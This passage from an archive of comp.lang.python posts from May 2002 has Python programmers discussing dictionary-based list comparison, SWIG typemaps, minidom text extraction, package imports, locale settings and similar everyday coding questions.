18:17:04 -0500 Subject: comparing lists In-Reply-To: References: Message-ID: <20020508181700.A1223@unpythonic.net> def compare_with_dict(l, m): d = {} if len(l) != len(m): return 0 # Cannot be equal (?) for i in l: d[i.lower()] = 0 for i in m: if i.lower() not in d: return 0 # Proven unequal return 1 Setting a key in a dict and checking for a key in dict ('d.has_key(k)' in older versions of Python) are supposed to be constant-time operations, so this is O(len(l) + len(m)) to run. Your versions either use sort (O(n lg n)) or 'in' with lists (O(n^2)), so this one should perform better than the original. However, you might want to use the dict-representation all the time. It'd save you the cost of the copy. If the original case is sometimes important, you might store the key as the lowercase version with the value as the original case (eg l['studlycaps'] == 'StUdLyCaPs') >>> t = CaseInsensitiveSet() >>> u = CaseInsensitiveSet() >>> print t == u 1 >>> t.add('a') >>> u.add('B') >>> print t == u 0 >>> t.add('b') >>> u.add('a') >>> print t, `u`, u['b'], u['B'] B B >>> print t == u 1 >>> u.remove('b') >>> print t == u 0 >>> t.remove('b') >>> print t == u 1 Here's an implementation for 2.2 (tested against 2.3a0 CVS): class CaseInsensitiveSet(dict): def __setitem__(self, item, value): item = item.lower() super(CaseInsensitiveSet, self).__setitem__(item, value) def __getitem__(self, item): item = item.lower() return super(CaseInsensitiveSet, self).__getitem__(item) def add(self, item): self[item] = item def remove(self, item): del self[item] def __eq__(self, other): for k in self: if not k in other: return 0 return 1 # for sk, ok in zip(self, other): # if sk != ok: return 0 # return def __str__(self): return "" % " ".join(self) def __repr__(self): return "" % " ".join(map(repr, self)) From claird at starbase.neosoft.com Fri May 31 11:57:42 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 31 May 2002 10:57:42 -0500 Subject: Industry monitor Message-ID: Sometimes people post texts of the form, "We're doing X, because we want to be ready when Well-Known Vendor M moves the entire industry to technology T." This usually inspires a round of, "No, no, use S, or X, or R" and other confusions. As much as I admire the intellectual enthusiasm of those who try to keep up with "technologic imperatives", I'm with Joel on its inefficacy . HOWEVER, if you truly feel a need to know what's going to happen next, *Microsoft Watch* is a publication I can recommend, although I have no connection to the author, publisher, and so on. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From bgrotan at stud.ntnu.no Sat May 25 09:57:33 2002 From: bgrotan at stud.ntnu.no (=?iso-8859-1?Q?Bj=F8rn?= Ove =?iso-8859-1?Q?Gr=F8tan?=) Date: Sat, 25 May 2002 15:57:33 +0200 Subject: checking wether string needs base64-encoding or not Message-ID: <3CEF984D.8FE17EE@stud.ntnu.no> Can somebody help me with example on how to check if string contains characters which needs to be base64-encoded (I'm generating some ldif-output) For various reasons, I'm not going to use the python-ldap module found on http://python-ldap.sourceforge.net/ Best regards Bjorn Grotan From sholden at holdenweb.com Sun May 19 15:39:48 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:39:48 -0400 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58757.5146706E@alcyone.com> <3CE59F5C.B35CAC28@alcyone.com> Message-ID: <5gTF8.58861$i42.10158@atlpnn01.usenetserver.com> "Erik Max Francis" wrote ... > > > Language design and implementation is always a balancing act: you want > > abstract, flexible and general features but you want them to be > > realistically > > implementable by normal humans in a finite amount of time. Where to > > draw the > > line is always a decision that involves as much gut and intuition as > > it does > > 'science'. So far I think the python team has done an admirable job of > > finding a great balance. IMHO for sets, making them immutable would > > fall too > > far in the direction of 'practicality' and lose too much in the > > 'flexibility > > and power of abstraction' department. But again, that's my opinion. > > Of course; we're just disagreeing on where that line should be drawn in > this case. > > What would, then, be a reasonable implementation of a set (with mutable > objects) in Python? The immutable keys in Python dictionaries already > sets a precedent for this effort being on the far side of practicality. > Well, in my case I'm disagreeing that there ought to be a line at all. If we can have lists and tuples, I don't see any reason why we couldn't have two flavours of set as well. regards -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From dalke at dalkescientific.com Fri May 10 03:46:45 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 01:46:45 -0600 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <3cdb711c_4@goliath2.newsgroups.com> <3cdb71e5_4@goliath2.newsgroups.com> Message-ID: jb wrote: > And what about pure calculations? Let for example a,b and c be long > integers. Then what about > > x1=a*b*c+1-3 > y1=sqrt(a*b*c+7) ... > Can such calculations be optimized? Sure, because you said "can." But for dynamically typed languages like Python that gets hard to do. When this discussion has come up before phrases like "whole program analysis" and "just in time" and "the language Self" are also mentioned. Is it easy? No. Is it easy to get right? Given the number of errors I've seen in C compilers, esp. in optimization, the answer is still no. Given the limited resources for Python development, how much time should be spent on this? I think very little. As Tim Peters once pointed out, there haven't been problems with Python's optimization code . Andrew dalke at dalkescientific.com From aahz at pythoncraft.com Fri May 10 11:56:19 2002 From: aahz at pythoncraft.com (Aahz) Date: 10 May 2002 11:56:19 -0400 Subject: Python stagnating? References: Message-ID: In article , Chris wrote: >on 09 May 2002, aahz at pythoncraft.com (Aahz) spake thusly: >> In article , >> Chris wrote: >>> >>>What would be really nice is an easily searchable, online manual. As a >>>user I really like the approach taken by the PHP manual, which >>>integrates easy searching, an auto search on the URL, and user >>>comments all in one place. Time to start digging around! >> >> There are two links on the Python docs page to search engines for the >> Python docs. > >I don't see those links, but I have found pydoc.org before.. but the user >comments can be viewed where? And I can get to it with a url string how? >And the downloadable PDF and HTML versions are where? http://www.python.org/doc/ Look for "Search the docs". Those other features aren't there, of course; I'm just pointing out that part of what you want is already available. I don't know what you mean by "user comments", but I'm suspicious that I wouldn't like it. Downloadable HTML is right on the docs pages, and I'm not particularly fond of PDF for docs. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From erict at millfilm.co.uk Tue May 7 11:48:26 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Tue, 07 May 2002 16:48:26 +0100 Subject: python: cross-platform? Message-ID: <3CD7F74A.197E5CB8@millfilm.co.uk> Is there a guide line for writing cross-platform code in python. I am dealing with only one os for now but I would like to be sure that I am using only cross platform code. Thanks in advance From lyle at users.sourceforge.net Fri May 31 11:03:15 2002 From: lyle at users.sourceforge.net (Lyle Johnson) Date: Fri, 31 May 2002 10:03:15 -0500 Subject: SWIG typemap to pass complex arrays into C++ References: <2830c89c.0205310140.198f9faf@posting.google.com> Message-ID: <3CF790B3.20206@users.sourceforge.net> > The function getel is illustrative only - not part of a real problem. > > I have written a SWIG typemap to allow complex number arrays to be > passed: > > %typemap(python,in) dcomplex * > { > if (!PyList_Check($input)) > { > PyErr_SetString(PyExc_TypeError, "expected a list"); > return NULL; > }; > > int arrsize = PyList_Size($input); > > $1 = (dcomplex *)malloc(sizeof(dcomplex)*(arrsize+1)); > for (int i=0; i { > PyObject *item = PyList_GetItem($input, i); > if (PyComplex_Check(item)) > $1[i] = dcomplex(PyComplex_RealAsDouble(item), > PyComplex_ImagAsDouble(item)); > else > { > free ((dcomplex *) $input); > PyErr_SetString(PyExc_TypeError, "expected complex numbers in > list"); > return NULL; > }; > > } > > } > > %typemap (python,freearg) dcomplex * > { > free ((dcomplex *) $input); > }; > > SWIG (1.3.11u) runs ok. BCC5.5 compiles the wrapper file ok. But when > I try to use the function getel from Python 2.2.1 I get the error > message: > > TypeError: Type error. Expected _p_dcomplex > > I hand-coded my own wrapper and that worked, but can't make the > typemap work. Any suggestions? Do the typemap definitions appear before the declaration of getel() in your SWIG interface file? It wasn't clear from the code you showed, but the correct sequence in your SWIG interface file should be: // Make sure SWIG knows about this typedef typedef complex dcomplex; // Typemaps for this typedef must appear before any // other declarations (such as getel) that depend on them %typemap(in) dcomplex * { ... } %typemap(freearg) dcomplex * { delete [] $1; } // Finally, the declaration of the function to be wrapped double getel (dcomplex *A, int i); As an aside (not directly related to this problem) you should use operator new and delete in your typemaps to allocate and deallocate the arrays of complex, i.e. $1 = new dcomplex[arrsize]; and delete [] $1; since these are C++ objects and not simple C types. Hope this helps, Lyle From kseehof at neuralintegrator.com Fri May 3 10:28:39 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 07:28:39 -0700 Subject: Low level python In-Reply-To: <3D69F3B2E48FE7D1.9E9AD348AD589AE7.7D732D40164F88DD@lp.airnews.net> Message-ID: Cameron Laird wrote: > In article , > Sean 'Shaleh' Perry wrote: > . > . > . > >Use python as a rapid devel and testing tool then switch over to > C++ for the > >final product. You get the python hacking the customer gets the > performance > >they want. > . > . > . > Whoops! You left out a couple of clauses; it's, "Use python > as a rapid devel and testing tool then be prepared to switch > over to C++ for the final product, if explicit requirements > demand it. You get the python hacking, the customer gets the > performance he specified (but perhaps not more)." Or, "Use python as a rapid devel and testing tool then be prepared to recode a few components in C++ as extensions, if explicit requirements demand it. You get the python hacking, the customer gets the performance (s)he specified (but perhaps lots more free features, such as a built customized scripting language and interactive interpreter)." - Ken Seehof From dgallion1 at yahoo.com Thu May 16 16:01:03 2002 From: dgallion1 at yahoo.com (Darrell) Date: 16 May 2002 13:01:03 -0700 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> <3CE3C0DC.571F2415@jpl.nasa.gov> Message-ID: If performance matters, concatenation is slower that using format strings. --Darrell Julia Bell wrote in message news:<3CE3C0DC.571F2415 at jpl.nasa.gov>... > Thanks for all of the responses. > > I recognize that the formatted strings are just as simple as the example line I gave > using the concatenation. (I just used the simple example to demonstrate the point). > My actual application is more complex (lots of escaped characters, combination of > single and double quotes, etc. - just a messy string to be creating - so I was hoping > to at least eliminate the parts of the definition that involved leaving the quoted > portion to evaluate the parameter). > > But, from the responses it looks like the concatenation I'm using is probably the > easiest way to go. > > Thanks for the suggestions. > > Julia Bell > From pcc at ecet.vtc.edu Mon May 20 14:42:15 2002 From: pcc at ecet.vtc.edu (Peter) Date: Mon, 20 May 2002 14:42:15 -0400 Subject: Odd problem with I/O redirection under Windows References: Message-ID: In article , cliechti at gmx.net says... > this thread/message might be of interest (one line): > > http://groups.google.com/groups?hl=en&lr=&ie=utf-8&oe=utf- > 8&selm=a6oad3%24lai%240%40216.39.172.122&rnum=6 > > i'm sure there are other threads about this when you search on > google.groups.com > > you're not the first one with that problem ;-) Thanks for the reference. Wrapping an explicit invocation of the pythong program in a .CMD file seems to be the workaround. It's too bad that is necessary. Ah well. Peter From kragen at pobox.com Tue May 28 18:04:29 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 18:04:29 -0400 Subject: Dictionary checking References: <3CEFCDC4.67C1564E@stud.ntnu.no> Message-ID: <83r8jwszde.fsf@panacea.canonical.org> Bj?rn Ove Gr?tan writes: > I'm building a dictionary with values from a file. > > for each key, I have an ID, Name and Alias > some keys I have only ID and Name, some keys with > ID and Alias, some keys with all 3 and a few keys > with only a ID with no Name and no Alias. So your file looks something like this? JKJ30 id=foo name=bar alias=baz JKJ31 id=quux name=blort JKJ32 id=bloozie alias=znap > How can I check if Name and/or Alias contain anything. Well, that depends on your file format and your internal representation. From sehamran at frisurf.no Thu May 16 14:12:54 2002 From: sehamran at frisurf.no (seh) Date: 16 May 2002 11:12:54 -0700 Subject: serial port problem Message-ID: <7557b51f.0205161012.18df5304@posting.google.com> I am trying to get my serial port working with python. I have installed and tried USPP, Sio32 and Pyserial. All of them installs nicely and I get no errors using the commands. The only problem is that my instrument in the other end does not respond to the commands. I have tried on two different laptops one with W2000 and the other with NT4.0. When I do the same thing in Matlab on the same pc everything is working nicely. Does anybody has any ideas on what I do wrong or what I do not do? Any ideas on how to debug the problem? Svein-Erik From rdsteph at earthlink.net Sun May 12 21:30:16 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Mon, 13 May 2002 01:30:16 GMT Subject: Zaurus and Python, a good combination References: <3CDEE799.5030306@earthlink.net> Message-ID: <3CDF1717.4090005@earthlink.net> Thanks, Gerhard, Dave, David, Paul, and others....so now I have infinite incentive to study Boudewijn Rempt's book, "GUI Programming with Python using the QT Toolkit". I absolutely promise myself , here and now, to read and think about nothing else (except during working hours of course, wink wink ;-))) for my whole trip upcoming. I leave home on Tuesday and am, off -and on, on the road for three weeks. I should be able to absorb the book in those three weeks. I really want to avoid the syndrome of scattering my thoughts all over the place. I must focus and concentrate ;-)) Alex, it really is a good machine. I sure hope you are able to get one soon. I think it is dumb for the Sharp folks to be so anal-retentive about their marekting efforts. Thye should sell as many as they can, whenever and wherever they can. In my real-life day job (nothing to do with computers or programming), I am more or less in marketing, and have been all my life, regardless of what my various offical titles were. And while, in my programming hobby life my mind lusts and wanders all over the place, in my day job I have learned to really focus ruthlesly on sales , sales, and sales. Take the order offf the street and move on the next challenge. Cheers, and chow...(and thanks again to all of you for the information) ;-))) Ron Stephens http://www.awaretek.com From pyth at devel.trillke.net Wed May 1 10:10:18 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 1 May 2002 16:10:18 +0200 Subject: Importing dynamically loaded modules (in packages)? In-Reply-To: References: Message-ID: <20020501141018.GO16217@devel.trillke> On Wed, May 01, 2002 at 03:30:16AM +0200, Irmen de Jong wrote: > "holger krekel" wrote in message > news:mailman.1020213066.536.python-list at python.org... > > > > "import Package.TestModule" still doesn't work: ""no module named > TestModule"" > > > How can I correct this? > > > > sys.modules['Package.TestModule'] = TestModule > > > > after that you should be able to do > > > > import Package.TestModule > > Ouch... isn't that cheating? I mean, the Module name is "TestModule", > not "Package.TestModule". Yes, it's the blessed way of cheating, though. See 'os' and 'os.path' for example. The package concept falls a bit out of python. After rereading the docs at http://www.python.org/doc/essays/packages.html it doesn't feel like a thoroughly thought out concept (compared to so many other things in python). There is no 'package' object to start with and package functionalities are not encapsulated anywhere. So it seems approriate to think of a package as a concept of nested modules and accessing them with respect to directory structure and filesystem-coupled initialization. imho Python3 should have a better grip on packages. Is their already something underway? Does anybody disagree? take care, holger From loewis at informatik.hu-berlin.de Sun May 12 13:31:36 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 12 May 2002 19:31:36 +0200 Subject: unknown locale de_DE@euro References: Message-ID: "Sean 'Shaleh' Perry" writes: > Sorry, I misunderstood what the subject of your "why" was. > It still stands however that the locale.py needs updates to handle @ > specified locales. Like them or not, they are here to stay. Well, I do like the @euro thing in locale names. I don't like getdefaultlocale, so I'd rather convert people away from using it instead of fixing it. For that, I need to know what they are using it *for*. Regards, Martin From jdboy at mac.com Mon May 20 09:06:16 2002 From: jdboy at mac.com (John) Date: 20 May 2002 13:06:16 GMT Subject: xml.dom.minidom question Message-ID: <20020520150547604+0200@bondi.mine.nu> Hi everyone! I am writing a little CGI script that pulls information out of an XML file and inserts it into an XHTML template. I think I pretty much have figured out how to do it, I have only run into one little problem. The following are snippets of the code I am using: from xml.dom.minidom import * dom = parse(file) # where 'file' is the XML file # containing the information # I am processing NodeContent = getText(dom.getElementsByTagName(element)[0].childNodes) # where 'element' is the tag-name of the element that I want to get the node content from def getText(nodelist): rc = "" for node in nodelist: if node.nodeType == node.TEXT_NODE: # I know this is not entirely rc = rc + node.data # correct for my purposes return rc My problem is that this getText function (more or less copied from from http://www.python.org/doc/current/lib/dom-example.html) only returns the text nodes. Let's say I have an XML-file like this:

Lovely SPAM is here.

I've got two legs.
...
Now, if I passed the childNodes of the elements with the tag name "content" to my getText function, it would return nothing (an empty string), because there are only element nodes, and not any text nodes. Basically, I want getText to return everything in between the "content"- tags in a string, regardless of whether it is part of a text node or an element node. I have tried taking care of this problem like this: def getText(nodelist): rc = "" for node in nodelist: if node.nodeType == node.TEXT_NODE: rc = rc + node.data if node.nodeType == node.ELEMENT_NODE: # added this rc = rc + node.data return rc But of course, 'node.data' is not valid for element nodes. How would I have to change getText to accomplish that? Thanks in advance, John From martin at v.loewis.de Mon May 6 02:47:13 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 08:47:13 +0200 Subject: making python scripts backwards compatible References: <008601c1f3c9$4ed93b80$445d4540@Dell2> Message-ID: "James J. Besemer" writes: > I could be mistaken and correct me if I am wrong but I thought the > case in point was about a contribution made OUTSIDE of a standard > distribution. Here you go: you are wrong :-) The case in question was SimpleXMLRPCServer.py, which is part of the standard library. Regards, Martin From theller at python.net Mon May 13 16:02:41 2002 From: theller at python.net (Thomas Heller) Date: Mon, 13 May 2002 22:02:41 +0200 Subject: currying at language level (was: Re: add_command) References: <20020513193132.D28033@prim.han.de> Message-ID: "Alex Martelli" wrote in message news:mailman.1021316005.11846.python-list at python.org... > It may be possible to offer all functionality in a way that turns > out to be regular and simple enough, e.g. IF we are already brainstorming, here are my thoughts: > curry(f, Arg(1), Arg(0)) curry(f, Arg[1, 0]) > to swap the first two positional arguments, > curry(f, 2, Arg()) curry(f, 2, Arg[:]) > to insert a 2 as 1st arg and shift all other args right by one, > curry(f, 2, Arg(1:)) curry(f, 2, Arg[1:]) > to insert a 2 instead of the 1st actual arg (ignoring it) and leave > all others alone, etc, etc. That magical Arg thing could even be > used plain rather than called to indicate "Arg(i) where i is the > progressive number of this argument to curry after the callable", > used as in "Arg(2, 'name')" to indicate that this may be passed > as named argument ' name' alternatively, etc. > This class lets you play with this 'syntax': class ARG: def __getitem__(self, magic): return magic > Maybe, and maybe not. We're talking of "signature adaptation". > How far do we need to go? How easy will it be to explain, how > easy to use, how complete in its coverage of so-called-currying > needs? I don't think we have anywhere like complete > understanding of this complicated set of issues. > > > Alex > Thomas From dkt at registriesltd.com.au Mon May 20 22:39:11 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Tue, 21 May 2002 12:39:11 +1000 Subject: "One Bullet is never enough" Paper In-Reply-To: ; from whisper@oz.net on Mon, May 20, 2002 at 06:53:48PM -0700 References: Message-ID: <20020521123911.P4474@regdp-02.intint.registriesltd.com.au> On Monday 2002-05-20 at 18:53:48 -0700, David LeBlanc wrote: > Also worth noting is that C# has COM intimately embedded in it and COM is > not free on (Li|U)nix. What's the big deal about C# anyway? It's mostly just > Java slathered with COM and marketing hype. For those who don't know, C# is simply Microsoft's Java killer, developed after Microsoft became purturbed after being unable to subvert the openness of Java (which itself isn't as open as many would like, by the way). Those who use C# are, knowingly or not, supporting the systematic crushing of open standards. This is all my opinion only, of course. May contain traces of nuts. David Trudgett From gcordova at hebmex.com Thu May 9 16:44:25 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 9 May 2002 15:44:25 -0500 Subject: Whats so good about Python? Message-ID: > > I've tried to use the new scoping several times and basically > given up -- I've found the behavior surprising and non-obvious, > and I don't want my code to be clear only to a Python guru. > > -- Russell What's non-obvious and surprising about it? -gus From sholden at holdenweb.com Fri May 10 11:40:12 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 11:40:12 -0400 Subject: How to access to a remote db References: Message-ID: "Sara D'Amico" wrote in message news:abgo65$chq$1 at fe1.cs.interbusiness.it... > Hi all, > I'm looking for a method to do a remote access (read and write) from a > domain server (linux+samba) to a ms access db on another pc.I know that it > can be done using a python script. Is there anybody that was in a situation > like this? > Thank you in advance So the Linux system will be the Access *client*, and the server will be a (presumably Windows-based) PC? This is probably about the trickiest combination of technologies, because as far as I know there are not remote drivers for Access. This means that you will have to layer some technologies to have an application on the Linux system communicate with an application on the Windows system, which in turn makes use of the Access database using either ODBC or ADO interfaces. You could look at solutions like Pyro (Python Remote Objects), but it may be that your particular requirements could be handled in a simpler way. Could you give some more background about what it is you want to do? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From gcordova at hebmex.com Tue May 7 16:44:19 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Tue, 7 May 2002 15:44:19 -0500 Subject: "Inserting" a line in a text file? Message-ID: > > rename tgtfile tempfile # very fast > cat 'new single line' > tgtfile # very fast > cat tempfile >> tgtfile # the slow step > del tempfile # very fast > > Raymond Hettinger > Another way would be: $ echo "single line stuff" > endfile.txt $ mysqldump xxx xxx xxx >> endfile.txt no need to be renaming and stuff. >From python it's about the same. -gustavo From mark.charsley at REMOVE_THIS.radioscape.com Wed May 8 10:01:00 2002 From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley) Date: Wed, 8 May 2002 15:01 +0100 (BST) Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: In article <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p at 4ax.com>, timr at probo.com (Tim Roberts) wrote: > Red Hat 7.x uses Python 1.52 for many of its configuration and > administration activities. Ordinarily, I'd say this was a Good Thing > for > the betterment and furtherance of Python. > > However, it makes it deucedly difficult to upgrade away from 1.52. If > one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom > configuration > scripts are no longer found in site-packages. Not being an expert in linux (let alone RH), wouldn't it be reasonably simple to have /usr/bin/python be a tiny little app that does the following? if (input_script_is_in_a_RH_directory) { start_and_transfer_cmd_line_inputs_outputs_etc(Python1.5); } else { start_and_transfer_cmd_line_inputs_outputs_etc(Python2); } -- Mark - personal opinion only, could well be wrong, not representing company, don't sue us etc. etc. From skip at pobox.com Thu May 23 23:08:26 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 23 May 2002 22:08:26 -0500 Subject: multithreading In-Reply-To: <3CED85A1.4D92A691@engcorp.com> References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> <20020523132158.3334e70b.logiplexsoftware@earthlink.net> <3CED85A1.4D92A691@engcorp.com> Message-ID: <15597.44714.195900.290001@12-248-41-177.client.attbi.com> >> The number of active threads is effectively capped by a Queue object >> which contains a set of cached MySQLdb connection objects. Peter> Cool! Do you mean you prepare the Queue ahead of time with a Peter> fixed number of those objects, then any attempt to create a new Peter> thread blocks on the Queue until a previous thread has terminated Peter> and released its resource back into the Queue with a put(), Peter> presumably inside a 'finally' block? More or less, yes. Once a thread is finished with a db connection, it places it back on the queue. It is not obligated to terminate at that point. It can try and grab other resources it needs. Every chunk of code where I lock something looks something like: self.cache_lock.acquire() try: fiddle_the_cache... finally: self.cache_lock.release() The dance with the Queue object full of database connections doesn't actually use try/finally because it has a fairly weird set of interactions - restarting some queries if they fail for specific reasons, reconnecting if a connection has logged too many errors, etc. I'm fairly careful to catch all the possible exceptions (yes, I have a general except: clause). -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From aleax at aleax.it Mon May 6 11:36:33 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 15:36:33 GMT Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> <84773476.0205060722.6f377f52@posting.google.com> Message-ID: <5qxB8.9275$zW3.236030@news1.tin.it> Rob Lineberger wrote: ... > Then I opened pythonwin and typed: > >>>>> import myfile.py Just import myfile No .py -- that's "implicit". Alex From arena at pacific.net.sg Sun May 19 13:32:22 2002 From: arena at pacific.net.sg (Matthew Chong) Date: Mon, 20 May 2002 01:32:22 +0800 Subject: Where to find python code beautifier ? Message-ID: Although Python obviate the need of brace but does not mean the code cannot be beautify] Anyone knows where to get one ? thank From cliechti at gmx.net Wed May 29 20:10:06 2002 From: cliechti at gmx.net (Chris Liechti) Date: 30 May 2002 02:10:06 +0200 Subject: daemon dies on xterm kill References: Message-ID: John Hunter wrote in news:m2ptzeedd7.fsf at video.paradise.lost: > I am trying to write an xmlrpc server daemon. When I 'exit' the xterm > that I launch the daemon in, the exit never completes and I still get > output from the server about connection attempts, though I lose my > prompt. This occurs whether I launch the program w/ or w/o nohup in > the background. I am trying to launch it as a regular user, not > root. Is there something wrong with my daemon code or the way I am > launching it: [snip] yes, i think you're missing the double-fork. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66012 chris -- Chris From philh at nwlink.com Sun May 19 22:34:33 2002 From: philh at nwlink.com (Phil Hystad) Date: Sun, 19 May 2002 19:34:33 -0700 Subject: string module References: <1021857810.1956.15.camel@berkowitz> Message-ID: "marduk" wrote in message news:1021857810.1956.15.camel at berkowitz... > On Sun, 2002-05-19 at 19:43, Phil Hystad wrote: > > I have python on linux (suse) and the string.uppercase and string.lowercase > > values are a bit strange. > > > > For example, string.uppercase has the following values: > > > > ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde > > > > [...] > > > Is this a garbled module or a feature? > > It's Unicode. > > --m > Unicode? Certainly it is not Unicode, these are characters, they are not 16-bit elements of Unicode. From cbbrowne at acm.org Wed May 1 01:02:07 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Wed, 01 May 2002 01:02:07 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Centuries ago, Nostradamus foresaw when "Mark McEahern" would write: > [Billy Ng] >> I am also new to python. I think python will be my replacement of perl. >> However, if I need to do very heavy regular expression, I still >> prefer perl. >> I just don't feel comfortable with the python's re syntax. > > I've heard this sentiment expressed before. I can count on my hands the > number of times I've used Perl--all before I learned about Python--so I'm > largely ignorant of Perl. > > Could you give us a concrete example where the use of regular expressions in > Perl is superior to Python? Well, in Perl, they're "first class objects," as it were, requiring no extra references to functions to get them to function, as a base part of the language syntax. If you're using regexes really a lot, that could easily be preferable. Mind you, I have found that the "More Pythonic Way" of constructing complex regexes by building components, like the following, to have merit: digit = '[0-9]' date = '\(' + digit + digit + digit + digit + '/' + digit + digit + '/' date = date + digit + digit + '\)' By building the regex out of something with named components, I don't have the horridness of line noise like: if ($line =~ /.*\s+\d+.\d+\s+\d+.\d+\s+.\d+.\d+/) { Ultimately, the answer is that both approaches have their own merits and demerits. The "Perl thing" tends to be shorter, while the "Python thing" tends to be more readable. What do you want to prefer? -- (concatenate 'string "cbbrowne" "@acm.org") http://www3.sympatico.ca/cbbrowne/emacs.html "One disk to rule them all, One disk to find them. One disk to bring them all and in the darkness grind them. In the Land of Redmond where the shadows lie." -- The Silicon Valley Tarot Henrique Holschuh From eddie at holyrood.ed.ac.uk Mon May 6 15:10:48 2002 From: eddie at holyrood.ed.ac.uk (Eddie Corns) Date: Mon, 6 May 2002 19:10:48 +0000 (UTC) Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: Pekka Niiranen writes: >I would like to feed every second (or 3rd or 4th .etc) item in a list to >a function. >list = ['a', 'b', 'c', 'd', 'e'] >**some fancy map/filter -trick here** >=> list = ['a', function('b'), 'c', function('d'), 'e'] >Is there a (functional) way without using for or while -structures ? >If I only manipulate every second line of a file with that function, >is there a faster way than reading the whole file into a list ?: >list = open ("myfile.txt", "rb").readlines() >**modify every 2nd line with set of functions** >** write the whole list into a new file** >The size of a file is max 2Mb. >-pekka- Here's a fairly generic functional that I sometimes use: def trans (func, inp, acc=[]): if not inp: return acc return apply (trans, (func,) + func (inp, acc)) It's more generic than map or reduce in that you control exactly what gets passed down to the next iteration. You do what you like with the current value and use an expression to chop out what gets passed down. So a[1:] would be like map in iterating over a list left to right, a[:-1] iterates backwards and a[1:-1] would take off both ends at each iteration. # first arg to func controls what to pass down # second arg is accumulation of what we have so far # third arg to trans is starting value Some examples: # add beginning and end moving towards middle l1=[1,2,3,4,5,6,7,8,9] trans (lambda a,b: (a[1:-1],[a[0]+a[-1]]+b),l1) # -> [10, 10, 10, 10, 10] # add consecutive pairs but skip every third trans (lambda a,b: (a[3:],b+[a[0]+a[1]]),l1) # -> [3, 9, 15] l2=[1,2,3,4,5,4,3,2,1] l3=[1,2,3,4,5,4,3,2,1,0] # check for palindrome trans (lambda a,b: (a[1:-1],b and a[0]==a[-1]),l2,1) # -> 1 (ie TRUE) trans (lambda a,b: (a[1:-1],b and a[0]==a[-1]),l3,1) # -> 0 (ie FALSE) Although you split input into a) what to send to next iteration b) what to manipulate in this iteration they can overlap. eg # is a list in ascending order? trans (lambda a,b: (len(a) > 2 and a[1:], b and a[0] < a[1]),l1,1) # -> 1 trans (lambda a,b: (len(a) > 2 and a[1:], b and a[0] < a[1]),l2,1) # -> 0 Can split into multiple lists eg c,s = trans (lambda x,y: (x[2:], (y[0]+x[0:1], y[1]+x[1:2])),\ re.split('([^0-9A-F])' , maca), ([], [])) splits a mac address given in just about any format xx-xx*, xx:xx*, xxxx.xxxx or xxxxxxxxxxxx into the numbers and the separators (if any). Works with strings, lists and tuples. Because Python doesn't do tail recursion, it would fall over on large list and I'm too lazy to re-write it as a loop but it would be quite easy. For you example (using a step of 2): trans (lambda a,b: (a[2:], b + [function(a[0])] + a[1:min(2,len(a))]), list[1:], [list[0]]) OK, I admit it's pushing the technique beyond the bounds of sanity but I did want to highlight the possibility we have with Python's high level list/sequence constructs for creating more generic transformers than is available in scheme/lisp (where map etc. was taken from). Not that this changes my opinion that Python is for programmers who can't cope with Lisp! :) (Including myself, lest anyone take insult). Eddie From huaiyu at gauss.almadan.ibm.com Fri May 17 21:07:07 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 18 May 2002 01:07:07 +0000 (UTC) Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: Patrick wrote: > >"James J. Besemer" wrote in message >news:mailman.1021636709.31088.python-list at python.org... >> [...] >> Laura's choice of a particularly subjective example actually underscores >> the point. Although there is a lot of inescapable subjectivity regarding >> ranking wines, a general 